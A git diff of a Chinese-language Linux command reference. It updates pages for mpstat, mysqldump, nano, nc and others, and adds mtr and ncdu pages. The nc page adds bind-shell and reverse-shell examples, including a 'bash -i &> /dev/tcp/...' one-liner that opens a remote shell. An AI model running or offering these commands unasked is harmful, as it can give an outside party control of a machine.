+下面的命令可以每2秒产生全部处理器的统计数据报告,一共产生三个interval的信息,最后再给出这三个interval的平均信息。默认时,输出是按照CPU号排序。第一个行给出了2秒内所有处理器使用情况。接下来每行对应一个处理器使用情况。 ```shell mpstat -P ALL 2 3 -Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 -09:34:20 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s -09:34:22 PM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 1001.49 -09:34:22 PM 0 0.00 0.00 0.50 0.00 0.00 0.00 0.00 99.50 1001.00 -09:34:22 PM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 0.00 +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) + +09:32:43 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:32:45 AM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:45 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:45 AM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:45 AM 2 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:45 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 + +09:32:45 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:32:47 AM all 0.00 0.00 0.12 0.00 0.00 0.12 0.00 0.00 0.00 99.75 +09:32:47 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:47 AM 1 0.00 0.00 0.50 0.00 0.00 0.00 0.00 0.00 0.00 99.50 +09:32:47 AM 2 0.00 0.00 0.00 0.00 0.00 0.50 0.00 0.00 0.00 99.50 +09:32:47 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 + +09:32:47 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:32:49 AM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:49 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:49 AM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:49 AM 2 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:49 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 + +Average: CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +Average: all 0.00 0.00 0.04 0.00 0.00 0.04 0.00 0.00 0.00 99.92 +Average: 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +Average: 1 0.00 0.00 0.17 0.00 0.00 0.00 0.00 0.00 0.00 99.83 +Average: 2 0.00 0.00 0.00 0.00 0.00 0.17 0.00 0.00 0.00 99.83 +Average: 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 ``` **比较带参数和不带参数的mpstat的结果:** -在后台开一个2G的文件 +对localhost进行压力测试 ```shell -cat 1.img & +ping -f localhost ``` 然后在另一个终端运行mpstat命令 ```shell mpstat -Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 -10:17:31 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s -10:17:31 PM all 0.07 0.02 0.25 0.21 0.01 0.04 0.00 99.40 1004.57 +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) + +09:34:20 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:34:20 AM all 0.03 0.00 0.07 0.00 0.00 0.02 0.00 0.00 0.00 99.88 ``` +上文说到:当mpstat不带参数时,输出为从系统启动以来的平均值,所以这看不出什么变化。 + ```shell mpstat -Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 -10:17:35 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s -10:17:35 PM all 0.07 0.02 0.25 0.21 0.01 0.04 0.00 99.39 1004.73 +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) + +09:34:40 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:34:40 AM all 0.03 0.00 0.07 0.00 0.00 0.02 0.00 0.00 0.00 99.88 ``` +只有加上间隔时间才能显示某一段时间CPU的使用情况 + ```shell mpstat 3 10 -Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 -10:17:55 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s -10:17:58 PM all 13.12 0.00 20.93 0.00 1.83 9.80 0.00 54.32 2488.08 -10:18:01 PM all 10.82 0.00 19.30 0.83 1.83 9.32 0.00 57.90 2449.83 -10:18:04 PM all 10.95 0.00 20.40 0.17 1.99 8.62 0.00 57.88 2384.05 -10:18:07 PM all 10.47 0.00 18.11 0.00 1.50 8.47 0.00 61.46 2416.00 -10:18:10 PM all 11.81 0.00 22.63 0.00 1.83 11.98 0.00 51.75 2210.60 -10:18:13 PM all 6.31 0.00 10.80 0.00 1.00 5.32 0.00 76.58 1795.33 -10:18:19 PM all 1.75 0.00 3.16 0.75 0.25 1.25 0.00 92.85 1245.18 -10:18:22 PM all 11.94 0.00 19.07 0.00 1.99 8.29 0.00 58.71 2630.46 -10:18:25 PM all 11.65 0.00 19.30 0.50 2.00 9.15 0.00 57.40 2673.91 -10:18:28 PM all 11.44 0.00 21.06 0.33 1.99 10.61 0.00 54.56 2369.87 -Average: all 9.27 0.00 16.18 0.30 1.50 7.64 0.00 65.11 2173.54 +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) + +09:36:21 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:36:24 AM all 1.81 0.00 7.03 0.00 0.00 6.37 0.00 0.00 0.00 84.79 +09:36:27 AM all 1.82 0.00 6.88 0.00 0.00 5.83 0.00 0.00 0.00 85.47 +09:36:30 AM all 1.95 0.00 5.86 0.00 0.00 4.98 0.00 0.00 0.00 87.21 +09:36:33 AM all 3.95 0.00 6.50 0.00 0.00 5.46 0.00 0.00 0.00 84.09 +09:36:36 AM all 4.05 0.00 6.21 0.00 0.00 5.64 0.00 0.00 0.00 84.10 +09:36:39 AM all 4.21 0.00 6.92 0.00 0.00 5.33 0.00 0.00 0.00 83.54 +09:36:42 AM all 3.72 0.00 7.17 0.00 0.00 6.05 0.00 0.00 0.00 83.05 +09:36:45 AM all 3.97 0.00 6.93 0.00 0.00 6.65 0.00 0.00 0.00 82.46 +09:36:48 AM all 4.30 0.00 9.55 0.00 0.00 9.55 0.00 0.00 0.00 76.59 +09:36:51 AM all 4.35 0.00 9.31 0.00 0.00 8.79 0.00 0.00 0.00 77.55 +Average: all 3.44 0.00 7.28 0.00 0.00 6.52 0.00 0.00 0.00 82.76 ``` 上两表显示出当要正确反映系统的情况,需要正确使用命令的参数。vmstat 和iostat 也需要注意这一问题。 - - - \ No newline at end of file diff --git a/command/mtools.md b/command/mtools.md index e5cb64d3d15..0380550f6a0 100644 --- a/command/mtools.md +++ b/command/mtools.md @@ -7,13 +7,13 @@ mtools **mtools命令** 显示mtools支持的指令,mtools为MS-DOS文件系统的工具程序,可模拟许多MS-DOS的指令。这些指令都是mtools的符号连接,因此会有一些共同的特性。 -### 语法 +### 语法 ```shell mtools(选项) ``` -### 选项 +### 选项 ```shell -a:长文件名重复时自动更改目标文件的长文件名; @@ -28,7 +28,7 @@ mtools(选项) -V:显示版本信息。 ``` -### 实例 +### 实例 使用mtools命令显示其支持的所有的指令,输入如下命令: @@ -44,4 +44,3 @@ mwrite, mzip 如上所示,其显示的所有命令均为mtools工具所支持的。 - \ No newline at end of file diff --git a/command/mtr.md b/command/mtr.md new file mode 100644 index 00000000000..fdcd34ea0f7 --- /dev/null +++ b/command/mtr.md @@ -0,0 +1,93 @@ +mtr +=== + +`mtr` 结合了 `traceroute` 和 `ping` 程序的功能,是一款简单的网络诊断工具 + +## 补充说明 + +用于调查 mtr 运行的主机与用户指定的目标主机之间的网络连接。在确定机器之间每个网络跳转的地址后,它会向每台机器发送一系列 ICMP ECHO 请求,以确定与每台机器的链路质量。在此过程中,它会打印每台机器的运行统计数据。 + +Debian 发行版已经内置了 `mtr`,其它发行版可自行安装,支持主流操作系统。 +可以访问其[官网](https://www.bitwizard.nl/mtr)详细了解。 + +### 语法 + +```shell +mtr (参数) (目标ip/域名) +``` + +### 参数 + +| 参数 | 解释 +---- | ---- +`-r` | 以报告模式显示 +`-c` | 发送数据包大小 +`-n` | 不用主机名解释 +`-s` | 指定ping数据包的大小 +`--report` | 不动态显示结果 + +### 实例 + +使用 `-r` 参数显示报告: + +```shell +[root@localhost ~]# mtr -r github.com + +HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev + 1.|-- 161.129.42.1 0.0% 10 0.5 0.5 0.4 0.6 0.1 + 2.|-- 10.12.52.0 0.0% 10 0.9 1.2 0.8 3.4 0.8 + 3.|-- unn-138-199-1-182.cdn77.c 0.0% 10 0.9 0.8 0.8 0.9 0.1 + 4.|-- 63.217.254.209 70.0% 10 1.3 1.3 1.2 1.3 0.0 + 5.|-- 63-216-176-146.static.pcc 0.0% 10 4.1 3.6 1.1 12.9 3.5 + 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 10 2.8 5.5 1.7 24.0 6.9 + 7.|-- be-102-0.ibr01.hkg20.ntwk 20.0% 10 36.4 36.5 36.3 36.7 0.1 + 8.|-- be-10-0.ibr01.sg3.ntwk.ms 50.0% 10 36.4 37.3 36.3 39.5 1.4 + 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 10 35.9 38.8 35.9 53.3 5.4 + 10.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 11.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 12.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 13.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 14.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 15.|-- 20.205.243.166 0.0% 10 35.7 35.8 35.7 35.9 0.0 +``` + +使用 `-c` 参数设置每秒发送数据包数量: + +```shell +[root@localhost ~]# mtr -r -c 30 github.com + +HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev + 1.|-- 161.129.42.1 0.0% 30 0.5 0.4 0.3 1.2 0.2 + 2.|-- 10.12.52.0 0.0% 30 0.8 1.2 0.8 9.2 1.6 + 3.|-- unn-138-199-1-182.cdn77.c 0.0% 30 0.9 0.9 0.8 3.0 0.4 + 4.|-- 63.217.254.209 40.0% 30 1.3 1.3 1.1 2.4 0.3 + 5.|-- 63-216-176-146.static.pcc 0.0% 30 3.0 3.1 1.0 13.5 3.4 + 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 30 1.7 2.2 1.6 5.7 0.9 + 7.|-- be-102-0.ibr01.hkg20.ntwk 6.7% 30 36.4 36.6 36.3 38.9 0.5 + 8.|-- be-10-0.ibr01.sg3.ntwk.ms 50.0% 30 36.7 47.1 36.2 102.7 21.0 + 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 30 36.1 41.4 35.9 78.4 8.8 + 10.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 11.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 12.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 13.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 14.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 15.|-- 20.205.243.166 0.0% 30 35.7 35.8 35.6 35.8 0.0 +``` + +使用 `-s` 参数指定 `ping` 数据包的大小: + +```shell +[root@localhost ~]# mtr -r -c 30 -s 1024 github.com + +HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev + 1.|-- 161.129.42.1 0.0% 30 0.6 0.6 0.3 4.3 0.7 + 2.|-- 10.12.52.0 0.0% 30 1.0 1.1 0.8 7.0 1.1 + 3.|-- unn-138-199-1-182.cdn77.c 0.0% 30 0.9 0.9 0.8 1.1 0.1 + 4.|-- 63.217.254.209 66.7% 30 1.3 1.3 1.2 1.5 0.1 + 5.|-- 63-216-176-146.static.pcc 0.0% 30 3.1 3.3 1.0 18.4 4.5 + 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 30 2.2 3.7 1.7 12.2 2.5 + 7.|-- be-102-0.ibr01.hkg20.ntwk 6.7% 30 36.5 36.6 36.4 38.9 0.5 + 8.|-- be-10-0.ibr01.sg3.ntwk.ms 33.3% 30 38.3 36.9 36.3 39.1 0.7 + 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 30 36.1 38.4 35.9 66.6 5.9 + 10.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 +``` diff --git a/command/mv.md b/command/mv.md index 3064d14192e..6737c65760b 100644 --- a/command/mv.md +++ b/command/mv.md @@ -14,13 +14,13 @@ mv命令可以用来将源文件移至一个目标文件中,或将一组文件 注意事项:mv与cp的结果不同,mv好像文件“搬家”,文件个数并未增加。而cp对文件进行复制,文件个数增加了。 -### 语法 +### 语法 ```shell mv(选项)(参数) ``` -### 选项 +### 选项 ```shell --backup=<备份模式>:若需覆盖文件,则覆盖前先行备份; @@ -33,12 +33,12 @@ mv(选项)(参数) -u:当源文件比目标文件新或者目标文件不存在时,才执行移动操作。 ``` -### 参数 +### 参数 * 源文件:源文件列表。 * 目标文件:如果“目标文件”是文件名则在移动文件的同时,将其改名为“目标文件”;如果“目标文件”是目录名则将源文件移动到“目标文件”下。 -### 实例 +### 实例 将目录`/usr/men`中的所有文件移到当前目录(用`.`表示)中: @@ -67,7 +67,7 @@ mv directory_1/ /home/office/ 重命名文件或目录 -```shellbash +```shell mv file_1.txt file_2.txt # 将文件file_1.txt改名为file_2.txt ``` @@ -79,7 +79,7 @@ mv directory_1/ directory_2/ 打印移动信息 -```shellbash +```shell mv -v *.txt /home/office ``` @@ -113,4 +113,4 @@ mv -bv *.txt /home/office mv -f *.txt /home/office ``` - + diff --git a/command/mysql.md b/command/mysql.md index b11d89e6aa7..df678893502 100644 --- a/command/mysql.md +++ b/command/mysql.md @@ -7,13 +7,13 @@ MySQL服务器客户端工具 **mysql命令** 是MySQL数据库服务器的客户端工具,它工作在命令行终端中,完成对远程MySQL数据库服务器的操作。 -### 语法 +### 语法 ```shell mysql(选项)(参数) ``` -### 选项 +### 选项 ```shell -h:MySQL服务器的ip地址或主机名; @@ -22,9 +22,8 @@ mysql(选项)(参数) -p:连接MySQL服务器的密码。 ``` -### 参数 +### 参数 数据库:指定连接服务器后自动打开的数据库。 - \ No newline at end of file diff --git a/command/mysqladmin.md b/command/mysqladmin.md index a76abd31b26..0b234d825b0 100644 --- a/command/mysqladmin.md +++ b/command/mysqladmin.md @@ -7,13 +7,13 @@ MySQL服务器管理客户端 **mysqladmin命令** 是mysql服务器管理任务的客户端工具,它可以检查mytsql服务器的配置和当前工作状态,创建和删除数据库,创建用户和修改用户密码等操作。 -### 语法 +### 语法 ```shell mysqladmin(选项)(参数) ``` -### 选项 +### 选项 ```shell -h:MySQL服务器主机名或ip地址; @@ -22,7 +22,7 @@ mysqladmin(选项)(参数) --help:显示帮助信息。 ``` -### 参数 +### 参数 管理命令:需要在MySQL服务器上执行的管理命令。 @@ -49,4 +49,3 @@ version:得到服务器的版本信息。 ``` - \ No newline at end of file diff --git a/command/mysqldump.md b/command/mysqldump.md index 3a95e4e210c..d1d067b680f 100644 --- a/command/mysqldump.md +++ b/command/mysqldump.md @@ -7,13 +7,13 @@ MySQL数据库中备份工具 **mysqldump命令** 是mysql数据库中备份工具,用于将MySQL服务器中的数据库以标准的sql语言的方式导出,并保存到文件中。 -### 语法 +### 语法 ```shell mysqldump(选项) ``` -### 选项 +### 选项 ```shell --add-drop-table:在每个创建数据库表语句前添加删除数据库表的语句; @@ -32,9 +32,10 @@ mysqldump(选项) --password:连接MySQL服务器的密码; --port:MySQL服务器的端口号; --user:连接MySQL服务器的用户名。 +--skip-lock-tables: 不锁表导出 ``` -### 实例 +### 实例 **导出整个数据库** @@ -58,5 +59,12 @@ mysqldump -u linuxde -p -d --add-drop-table smgp_apps_linuxde > linuxde_db.sql `-d`没有数据,`--add-drop-tabl`e每个create语句之前增加一个`drop table` +### 问题解决 + +**锁表失败** +``` +mysqldump: Got error: 1044: "Access denied for user 'appuser'@'1%' to database 'tc_mall'" when doing LOCK TABLES +``` +可使用`--skip-lock-tables`在导出数据阶段跳过锁表流程 + - \ No newline at end of file diff --git a/command/mysqlimport.md b/command/mysqlimport.md index f51ceff031d..99edd434597 100644 --- a/command/mysqlimport.md +++ b/command/mysqlimport.md @@ -7,13 +7,13 @@ mysqlimport **mysqlimport命令** 为mysql数据库服务器提供了一种命令行方式导入数据工具,它从特定格式的文本文件中读取数据插入MySQL数据库表中。 -### 语法 +### 语法 ```shell mysqlimport(选项)(参数) ``` -### 选项 +### 选项 ```shell -D:导入数据前清空表; @@ -23,10 +23,9 @@ mysqlimport(选项)(参数) -p:连接MySQL服务器的密码。 ``` -### 参数 +### 参数 * 数据库名:指定要导入的数据库名称; * 文本文件:包含特定格式文本文件。 - \ No newline at end of file diff --git a/command/mysqlshow.md b/command/mysqlshow.md index 334fedf7336..fa50769089e 100644 --- a/command/mysqlshow.md +++ b/command/mysqlshow.md @@ -7,13 +7,13 @@ mysqlshow **mysqlshow命令** 用于显示mysql服务器中数据库、表和列表信息。 -### 语法 +### 语法 ```shell mysqlshow(选项)(参数) ``` -### 选项 +### 选项 ```shell -h:MySQL服务器的ip地址或主机名; @@ -25,9 +25,8 @@ mysqlshow(选项)(参数) -i:显示数据表的额外信息。 ``` -### 参数 +### 参数 数据库信息:指定要显示的数据库信息,可以是一个数据库名,或者是数据库名和表名,或者是数据库名、表名和列名。 - \ No newline at end of file diff --git a/command/named-checkzone.md b/command/named-checkzone.md index d11e5734e0e..fae559de49d 100644 --- a/command/named-checkzone.md +++ b/command/named-checkzone.md @@ -1,19 +1,19 @@ named-checkzone === -使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称。 +使用 named-checkzone 可验证并转换区域文件,需指定区域名和文件名。 ## 补充说明 **named-checkzone命令** 可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称。 -### 语法 +### 语法 ```shell named-checkzone [选项] [区域名] [区域文件名] ``` -### 选项 +### 选项 ```shell -q 安静模式 @@ -40,4 +40,4 @@ zonesh.com/IN: loaded serial 1268360234 OK ``` - + diff --git a/command/nano.md b/command/nano.md index 3db4e87addd..95d871c4f0e 100644 --- a/command/nano.md +++ b/command/nano.md @@ -9,15 +9,15 @@ nano nano命令可以打开指定文件进行编辑,默认情况下它会自动断行,即在一行中输入过长的内容时自动拆分成几行,但用这种方式来处理某些文件可能会带来问题,比如Linux系统的配置文件,自动断行就会使本来只能写在一行上的内容折断成多行了,有可能造成系统不灵了。因此,如果你想避免这种情况出现,就加上`-w`选项吧。 -### 语法 +### 语法 -```shellz +```shell nano [选项] [[+行,列] 文件名]... ``` -### 选项 +### 选项 -```shellz +```shell -h, -? --help 显示此信息 +行,列 从所指列数与行数开始 -A --smarthome 启用智能 HOME 键 @@ -62,40 +62,39 @@ nano [选项] [[+行,列] 文件名]... -f, -g, -j (忽略,为与pico 相容) ``` -### 用法 +### 用法 - **光标控制** +**光标控制** -* 移动光标:使用用方向键移动。 -* 选择文字:按住鼠标左键拖到。 +* 移动光标:使用用方向键移动。 +* 选择文字:按住鼠标左键拖到。 - **复制、剪贴和粘贴** +**复制、剪贴和粘贴** -* 复制一整行:Alt+6 -* 剪贴一整行:Ctrl+K +* 复制一整行:Alt+6 +* 剪贴一整行:Ctrl+K - **粘贴:Ctrl+U** +**粘贴:Ctrl+U** 如果需要复制/剪贴多行或者一行中的一部分,先将光标移动到需要复制/剪贴的文本的开头,按Ctrl+6(或者Alt+A)做标记,然后移动光标到 待复制/剪贴的文本末尾。这时选定的文本会反白,用Alt+6来复制,Ctrl+K来剪贴。若在选择文本过程中要取消,只需要再按一次Ctrl+6。 - **搜索** +**搜索** 按Ctrl+W,然后输入你要搜索的关键字,回车确定。这将会定位到第一个匹配的文本,接着可以用Alt+W来定位到下一个匹配的文本。 - **翻页** +**翻页** * `Ctrl+Y` 到上一页 * `Ctrl+V` 到下一页 - **保存** +**保存** 使用Ctrl+O来保存所做的修改 - **退出** +**退出** 按Ctrl+X 如果你修改了文件,下面会询问你是否需要保存修改。输入Y确认保存,输入N不保存,按Ctrl+C取消返回。如果输入了Y,下一步会让你输入想要保存的文件名。如果不需要修改文件名直接回车就行;若想要保存成别的名字(也就是另存为)则输入新名称然后确 定。这个时候也可用Ctrl+C来取消返回。 - \ No newline at end of file diff --git a/command/nc.md b/command/nc.md index 172e08cd5e7..6d1caeffe3f 100644 --- a/command/nc.md +++ b/command/nc.md @@ -1,41 +1,46 @@ nc === -用于设置路由器,是网络工具中的瑞士军刀。 +nc是网络工具中的瑞士军刀 ## 补充说明 -**nc命令** 全称**netcat**,用于设置路由器。它能通过 TCP 和 UDP 在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用 netcat 命令所能完成的事情令人惊讶。 +**nc命令** 全称**netcat**,用于TCP、UDP或unix域套接字(uds)的数据流操作,它可以打开TCP连接,发送UDP数据包,监听任意TCP +和UDP端口,同时也可用作做端口扫描,支持IPv4和IPv6,与Telnet的不同在于nc可以编写脚本。 -### 语法 +### 语法 ```shell nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>] [-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...] ``` -### 选项 +### 选项 ```shell --g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。 --G<指向器数目> 设置来源路由指向器,其数值为4的倍数。 +-4 只使用IPV4 +-6 只使用IPV6 +-c 使用tls连接或者监听 +-D 启用socket调试开关 +-g <网关> # 设置路由器跃程通信网关,最多可设置8个。 +-G<指向器数目> # 设置来源路由指向器,其数值为4的倍数。 -h 在线帮助。 -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。 -l 使用监听模式,管控传入的资料。 -n 直接使用IP地址,而不通过域名服务器。 --o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。 --p<通信端口> 设置本地主机使用的通信端口。 +-o<输出文件> # 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。 +-p<通信端口> # 设置本地主机使用的通信端口。 -r 乱数指定本地与远端主机的通信端口。 --s<来源位址> 设置本地主机送出数据包的IP地址。 +-s<来源位址> # 设置本地主机送出数据包的IP地址。 -u 使用UDP传输协议。 -v 显示指令执行过程。 --w<超时秒数> 设置等待连线的时间。 +-w<超时秒数> # 设置等待连线的时间。 -z 使用0输入/输出模式,只在扫描通信端口时使用。 ``` ### 实例 -TCP端口扫描 +**TCP端口扫描** ```shell [root@localhost ~]# nc -v -z -w2 192.168.0.3 1-100 @@ -46,13 +51,13 @@ TCP端口扫描 ``` 扫描192.168.0.3 的端口 范围是 1-100 -扫描UDP端口 +**扫描UDP端口** ```shell -[root@localhost ~]# nc -u -z -w2 192.168.0.1 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000 +[root@localhost ~]# nc -u -z -w2 192.168.0.3 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000 ``` -扫描指定端口 +**扫描指定端口** ```shell [root@localhost ~]# nc -nvv 192.168.0.1 80 # 扫描 80端口 @@ -62,11 +67,57 @@ y //用户输入 查看从服务器到目的地的出站端口 443 是否被防火墙阻止 -```shellbash +```shell nc -vz acme-v02.api.letsencrypt.org 443 -w2 # Ncat: Version 7.50 ( https://nmap.org/ncat ) # Ncat: Connected to 23.77.214.183:443. # Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds. ``` +**文件传输** + +```shell +# 接收方提前设置监听端口与要接收的文件名(文件名可自定义): +nc -lp 8888 > node.tar.gz + +# 传输方发文件: +nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz +# ⚠️ 注意:192.168.75.121是接收方的ip地址。 +``` + +```shell +# 如果希望文件传输结束后自动退出,可以使用下面的命令: +nc -lp 8888 > node.tar.gz +nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz +# ⚠️ 注意:-i 表示闲置超时时间 +``` + +**远程控制** + +```shell +# 正向控制,被控端主动设置监听端口及bash环境,控制端连接,如果有防火墙,需开放端口,否则会被拦截。 +# 被控制端执行下面的命令: +nc -lvnp 8888 -c bash +# 控制端执行下面的命令: +nc 192.168.75.121 8888 +``` + +```shell +# 反向控制,控制端设置监听端口,被控端主动连接控制端的ip及端口,并提供bash环境。 +# 控制端执行下面的命令: +nc -lvnp 8888 +# 被控制端执行下面的命令: +nc 192.168.75.121 8888 -c bash +``` + +**反弹shell** + +```shell +# 控制端执行下面的命令: +nc -lvnp 8888 +``` + +``` +# 被控端执行下面的命令: +bash -i &> /dev/tcp/192.168.75.121/8888 0>&1 +``` - diff --git a/command/ncdu.md b/command/ncdu.md new file mode 100644 index 00000000000..ee1bfc22680 --- /dev/null +++ b/command/ncdu.md @@ -0,0 +1,126 @@ +ncdu +=== + +磁盘使用情况的交互式查看工具,可视为 du 的增强版本 + +## 补充说明 + +**ncdu**(**NC**urses **D**isk **U**sage)是 Unix 系统上一款基于 ncurses 的磁盘占用分析工具,可视为传统 `du` 命令的增强版本。 +与 `du` 输出静态文本不同,**ncdu 提供交互式 TUI 界面**,可通过方向键浏览目录树,并支持排序、查看文件信息、直接删除文件等功能。 +它非常适合用于快速定位大文件、分析磁盘空间占用以及磁盘清理。1.09+ 版本支持将扫描结果导出为 JSON。 + +官网 + +* 官方网站(作者主页):[https://dev.yorhel.nl/ncdu](https://dev.yorhel.nl/ncdu) +* Wikipedia:[https://en.wikipedia.org/wiki/Ncdu](https://en.wikipedia.org/wiki/Ncdu) + +### ncdu 安装 + +在大多数的 Linux 发行版中你同样不会看到 **ncdu** 被默认预装,但作为最常用的磁盘分析工具之一,它几乎在所有主流发行版的官方仓库中都可以直接安装。 + +不同系统的安装方式如下: + +#### **Debian/Ubuntu** + +```shell +sudo apt install ncdu +``` + +#### **CentOS / Rocky / AlmaLinux** + +```shell +sudo yum install epel-release +sudo yum install ncdu +``` + +#### **Fedora** + +```shell +sudo dnf install ncdu +``` + +#### **Arch Linux** + +```shell +sudo pacman -S ncdu +``` + +#### **macOS(Homebrew)** + +```shell +brew install ncdu +``` + +#### **FreeBSD** + +```shell +pkg install ncdu +``` + +### 语法 + +```shell +ncdu [选项] [目录] +``` + +### 选项 + +```shell +-h, --help 显示帮助信息。 +-v, --version 显示版本号。 +-x 限制扫描在单一文件系统中(不跨挂载点)。 +-q 减少屏幕刷新次数(适合远程 SSH)。 +-o FILE 将扫描结果导出为 FILE(JSON 格式,需 1.09+)。 +-f FILE 从 JSON 文件加载扫描结果(需 1.09+)。 +--exclude PATTERN 排除符合模式的文件或目录。 +--exclude-from FILE 从文件读取排除模式。 +--follow-symlinks 跟随符号链接。 +--confirm-deletion 删除文件时要求确认。 +``` + +### 交互说明 + +↑, ↓, →, ← 代表键盘方向键 + +| 按键 | 功能 | +| ------------- | ------------------------------- | +| ↑ / k | 上移光标 | +| / j | 下移光标 | +| → / Enter / l | 打开当前目录 | +| ← / h | 返回父目录 | +| n | 按名称排序(再次按切换升/降序) | +| s | 按大小排序(再次按切换升/降序) | +| d | 删除选中项 | +| g | 显示百分比/图表 | +| t | 排序时切换“目录优先” | +| c | 显示或隐藏子项数量 | +| b | 在当前目录打开 shell | +| i | 查看选中文件/目录的详细信息 | +| r | 刷新/重新扫描当前目录 | +| q | 退出 ncdu | + +### 实例 + +#### 扫描当前目录 + +```shell +ncdu +``` + +#### 扫描指定目录(示例:/var/log) + +```shell +ncdu /var/log +``` + +#### 导出扫描结果为 JSON(1.09+) + +```shell +ncdu -o result.json / +``` + +#### 从 JSON 文件加载结果 + +```shell +ncdu -f result.json +``` diff --git a/command/ncftp.md b/command/ncftp.md index 767499ca4b0..c4e5e70f78b 100644 --- a/command/ncftp.md +++ b/command/ncftp.md @@ -7,13 +7,13 @@ ncftp **ncftp命令** 是增强的的ftp工具,比传统的FTP指令更加强大。FTP让用户得以下载存放于服务器主机的文件,也能将文件上传到远端主机放置。ncftp是文字模式FTP程序的佼佼者,它具备多样特色,包括显示传输速率,下载进度,自动续传,标住书签,可通过防火墙和代理服务器等。 -### 语法 +### 语法 ```shell ncftp(选项)(参数) ``` -### 选项 +### 选项 ```shell -u:指定登录FTP服务器时使用的用户名; @@ -23,11 +23,11 @@ ncftp(选项)(参数) -R:递规传子目录 ``` -### 参数 +### 参数 FTP服务器:指定远程FTP服务器的ip地址或主机名。 -### 安装 +### 安装 ```shell wget ftp://ftp.ncftp.com/ncftp/ncftp-3.2.3-src.tar.gz @@ -37,7 +37,7 @@ cd ncftp-3.2.3/ make && make install ``` -### 实例 +### 实例 将本地/etc/目录内的所有文件和目录,上传到FTP服务器的flv/games/目录内(如果不存在flv/games/目录则自动创建)。 @@ -61,4 +61,3 @@ ncftp的基本命令和普通ftp一样,可以输入help获得命令列表。 * lrmdir: 删除本地目录。 - \ No newline at end of file diff --git a/command/neofetch.md b/command/neofetch.md new file mode 100644 index 00000000000..50400a188a2 --- /dev/null +++ b/command/neofetch.md @@ -0,0 